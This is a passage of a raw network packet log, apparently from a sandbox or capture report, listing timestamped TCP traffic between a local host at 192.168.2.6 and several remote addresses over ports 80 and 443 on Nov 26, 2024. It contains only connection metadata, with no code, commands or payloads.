Nov 26, 2024 16:31:43.253438950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253453016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253457069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253468990 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253510952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253515959 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253518105 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253525972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253540993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253552914 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253571033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253581047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253583908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253587008 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253602982 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253608942 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253611088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253623962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253638029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253644943 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253645897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253675938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253710032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253710032 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253721952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253730059 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253757000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253757000 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253762007 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.253779888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253782988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253793955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253822088 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.253838062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253851891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.253854990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253891945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253901958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.253988981 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.255517006 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.256103039 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.256125927 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.256603003 CET	49850	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.256608963 CET	443	49850	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.257937908 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.258090019 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.258095980 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.267510891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.267571926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.269443989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.269534111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.271302938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.271605015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.272924900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.273058891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.282017946 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.282113075 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.282145023 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.283590078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.283611059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.283700943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.286912918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.286988974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.288573980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.288707018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.291631937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.291724920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.293261051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.293332100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.295139074 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.295259953 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.295274973 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.298075914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.298100948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.298131943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.298150063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.301803112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.301826000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.301908016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.301908016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.304730892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.304799080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.306520939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.306565046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.309983969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.310075045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.311420918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.311480045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.312999010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.313122034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.314325094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.314378023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.318022013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.318098068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.397953987 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.474232912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474307060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474411964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474425077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474452972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474463940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474467039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474487066 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474548101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474556923 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474574089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474585056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474591970 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474606037 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.474626064 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474647999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474661112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474661112 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474673986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474693060 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474704027 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.474709988 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474723101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474723101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474751949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474754095 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.474759102 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474762917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474785089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474817038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474848986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474853039 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.474869013 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.474884987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474889040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474930048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.474960089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.474972963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475008965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475039959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475050926 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475052118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475070000 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475090027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475094080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475100040 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.475106001 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475106001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475153923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475159883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475163937 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.475167990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475195885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475213051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475225925 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475234985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475250006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475272894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475294113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475308895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475327969 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475331068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475348949 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475405931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475418091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475430965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475438118 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.475444078 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475471973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475480080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475492001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475497007 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.475501060 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475518942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475538015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475544930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475557089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475579023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475600958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475655079 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475662947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475673914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475702047 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.475708008 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475723982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475737095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475739002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475780964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475804090 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475822926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475836039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475845098 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.475850105 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475857019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475884914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475884914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475897074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475934029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.475974083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.475975037 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.475986004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.476033926 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.476038933 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.476049900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.476110935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.476125002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.476161003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.476805925 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.477608919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.477679014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.477781057 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:43.477838993 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.477869034 CET	49851	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.477885962 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.478250027 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.478471041 CET	49853	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:43.478485107 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:43.478743076 CET	49854	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.478755951 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.478825092 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:43.479048014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.479087114 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.479105949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.479259968 CET	49851	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.479345083 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.479628086 CET	49853	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:43.479692936 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:43.480055094 CET	49854	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.480109930 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.481237888 CET	49851	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.481527090 CET	49853	443	192.168.2.6	162.159.61.3
Nov 26, 2024 16:31:43.481651068 CET	49854	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:43.482611895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.482625961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.482687950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.482708931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.484333038 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.484369993 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.484381914 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.484389067 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.484530926 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.490118027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.490138054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.490223885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.490259886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.493865013 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.493949890 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.494064093 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.494455099 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.494479895 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.494498968 CET	49849	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.494504929 CET	443	49849	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.495420933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.495589972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.496973038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.497051001 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.497055054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.501507044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.501519918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.501554966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.501593113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.504456997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.504689932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.506261110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.506320953 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.506354094 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.508070946 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.508094072 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.509802103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.510751009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.511493921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.511555910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.512449026 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.512490034 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.512744904 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.512945890 CET	49862	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:43.512957096 CET	443	49862	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:43.514981031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.514998913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.515031099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.515055895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.518192053 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.518269062 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.518292904 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.519537926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.519550085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.519594908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.524648905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.524704933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.526318073 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.526375055 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.526398897 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.527331114 CET	443	49854	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.527332067 CET	443	49851	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:43.527343988 CET	443	49853	162.159.61.3	192.168.2.6
Nov 26, 2024 16:31:43.527803898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.527817011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.527869940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.532810926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.532825947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.532897949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.536122084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.536148071 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.536184072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.536215067 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.536231041 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.537707090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.537775040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.540560007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.540570974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.540622950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.544368029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.544380903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.544433117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.546068907 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.546123028 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.546132088 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.547769070 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.547821999 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.547827005 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.600184917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.600202084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.600281000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.604592085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.604656935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.606133938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.606218100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.607589960 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.607634068 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.607657909 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.607680082 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.607749939 CET	49836	443	192.168.2.6	142.250.181.65
Nov 26, 2024 16:31:43.610625029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.610639095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.610682964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.615259886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.615278006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.615468979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.615468979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.616575003 CET	443	49836	142.250.181.65	192.168.2.6
Nov 26, 2024 16:31:43.621176004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.621309996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.623184919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:43.623250961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:43.624957085 CET	80	49809	185.215.113.206	192.168.2.6
